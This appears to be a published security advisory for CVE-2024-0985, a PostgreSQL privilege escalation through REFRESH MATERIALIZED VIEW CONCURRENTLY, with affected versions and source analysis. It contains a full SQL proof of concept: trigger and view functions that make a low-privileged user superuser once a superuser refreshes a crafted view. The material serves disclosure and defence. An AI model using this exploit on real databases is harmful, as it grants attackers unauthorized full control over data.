PostgreSQL: Concurrent Refresh Privilege Escalation
MediumCVE-2024-0985 · Published Mar 19, 2024 · updated Apr 29, 2024
### Summary When executing REFRESH MATERIALIZED VIEW CONCURRENTLY the UserID is set to the relation owner and the flag SECURITY_RESTRICTED_OPERATION is set. During the concurrent path the previous values are restored to their original values to allow for a CREATE TEMP TABLE SQL command to execute. It’s possible to manipulate the tables that are used in the CREATE statement such that user SQL is executed as a user other than the relation owner leading to Privilege Escalation. ### Severity Moderate - A Superuser (or victim user) would need to execute REFRESH MATERIALIZED VIEW CONCURRENTLY on the malicious view. The security context from where the refresh is executed cannot be SECURITY_RESTRICTED_OPERATION. ### Proof of Concept The commands below should be executed as the user test. ```sql CREATE TABLE public.seen(i int); CREATE OR REPLACE FUNCTION elevate () RETURNS TRIGGER AS $ BEGIN ALTER USER test WITH Superuser; RETURN NEW; END; $ LANGUAGE PLPGSQL; CREATE TABLE defer(i int); ``` ```sql CREATE CONSTRAINT TRIGGER ai AFTER INSERT ON public.defer INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE public.elevate(); CREATE OR REPLACE FUNCTION payload() RETURNS int AS $ DEC...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| PostgreSQL Product | < 12.18 | 12.18 |
Details and references
### Summary When executing REFRESH MATERIALIZED VIEW CONCURRENTLY the UserID is set to the relation owner and the flag SECURITY_RESTRICTED_OPERATION is set. During the concurrent path the previous values are restored to their original values to allow for a CREATE TEMP TABLE SQL command to execute. It’s possible to manipulate the tables that are used in the CREATE statement such that user SQL is executed as a user other than the relation owner leading to Privilege Escalation. ### Severity Moderate - A Superuser (or victim user) would need to execute REFRESH MATERIALIZED VIEW CONCURRENTLY on the malicious view. The security context from where the refresh is executed cannot be SECURITY_RESTRICTED_OPERATION. ### Proof of Concept The commands below should be executed as the user test. ```sql CREATE TABLE public.seen(i int); CREATE OR REPLACE FUNCTION elevate () RETURNS TRIGGER AS $ BEGIN ALTER USER test WITH Superuser; RETURN NEW; END; $ LANGUAGE PLPGSQL; CREATE TABLE defer(i int); ``` ```sql CREATE CONSTRAINT TRIGGER ai AFTER INSERT ON public.defer INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE public.elevate(); CREATE OR REPLACE FUNCTION payload() RETURNS int AS $ DECLARE tnsp text; tname text; i int; BEGIN SELECT schemaname, replace(tablename, '_2', '') FROM pg_tables WHERE schemaname LIKE 'pg_temp_%' INTO tnsp, tname; SELECT COUNT(*) from public.seen INTO i; IF i > 1 THEN -- Need to move recreate the table for the DROP TABLE EXECUTE FORMAT ('ALTER VIEW %I.%I RENAME TO aaa', tnsp, tname); EXECUTE FORMAT ('CREATE TABLE %I.%I(i int, j int) ', tnsp, tname); INSERT INTO public.defer VALUES (1); ELSE INSERT INTO public.seen VALUES (1); END IF; RETURN i; END; $ LANGUAGE plpgsql; CREATE OR REPLACE FUNCTION ins() RETURNS TABLE ( i int, j int ) AS $ DECLARE tnsp text; tname text; rel oid; ind record; BEGIN SELECT schemaname, tablename FROM pg_tables WHERE schemaname LIKE 'pg_temp_%' INTO tnsp, tname; SELECT oid FROM pg_class where relname = tname into rel; SELECT * FROM pg_index WHERE indrelid = rel into ind; BEGIN EXECUTE FORMAT ('CREATE RULE "_RETURN" AS ON SELECT TO %I.%I DO INSTEAD SELECT payload() as i, 1 as j',tnsp, tname); EXECUTE FORMAT ('ALTER VIEW %I.%I RENAME COLUMN j to ctid', tnsp,tname); EXCEPTION WHEN OTHERS THEN RAISE NOTICE 'ins: %', SQLERRM; END; RETURN QUERY SELECT 1, 2; END; $ language plpgsql; CREATE MATERIALIZED VIEW "matview" AS (SELECT i, j from ins() WHERE i != i); CREATE UNIQUE INDEX mv_i ON matview (i); ``` As a Superuser refresh the view ```sql # REFRESH MATERIALIZED VIEW CONCURRENTLY matview; ``` Observe that the user test is now a Superuser ```sql #d\u test List of roles Role name | Attributes | Member of -----------+----------------------+----------- test | Superuser, Create DB | {} ``` ### Further Analysis When entering [ExecRefreshMatView](https://github.com/postgres/postgres/blob/86648dcdaec67b83cec20a9d25b45ec089a7c624/src/backend/commands/matview.c#L138C1-L138C19) the user and security context are saved and then set to the relowner with SECURITY_RESTRICTED_OPERATION. ```sql /* * Switch to the owner's userid, so that any functions are run as that * user. Also lock down security-restricted operations and arrange to * make GUC variable changes local to this command. */ GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(relowner,save_sec_context|SECURITY_RESTRICTED_OPERATION); ``` A new table will be created and then populated with data. ```sql OIDNewHeap = make_new_heap(matviewOid, tableSpace, relpersistence,
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| May 12024 | Python: Heap buffer overflow in a Pillow (PIL fork) interface to the littleCMS ICC Color Management System | Medium6.7 | 10.3.0 |
| Apr 52024 | UTM: Remote Code Execution Via Unsafe VM Handling | Medium | No fix yet |
| Apr 52024 | UTM: Unsafe URL Handling | Low | 4.5.1 |
| Apr 42024 | Microsoft Edge: Bypass of fix for CVE-2023-36880 | Low | See the advisory |
| Mar 262024 | Python: Code Execution Vulnerability | Low | See the advisory |
| Feb 212024 | PostgreSQL: Plv8 Deferred Trigger Privilege Escalation | High | No fix yet |